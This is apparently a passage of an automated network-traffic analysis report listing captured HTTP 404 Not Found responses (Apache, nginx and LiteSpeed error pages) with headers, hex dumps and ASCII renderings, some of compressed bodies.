2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:55:42 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:55:45 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:55:47 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:55:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:55:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:55:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:01 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:07 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66c48d46-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:10 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66c48d46-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:12 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66c48d46-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:15 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66c48d46-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:56:15 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66c48d46-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Tue, 08 Oct 2024 13:56:30 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 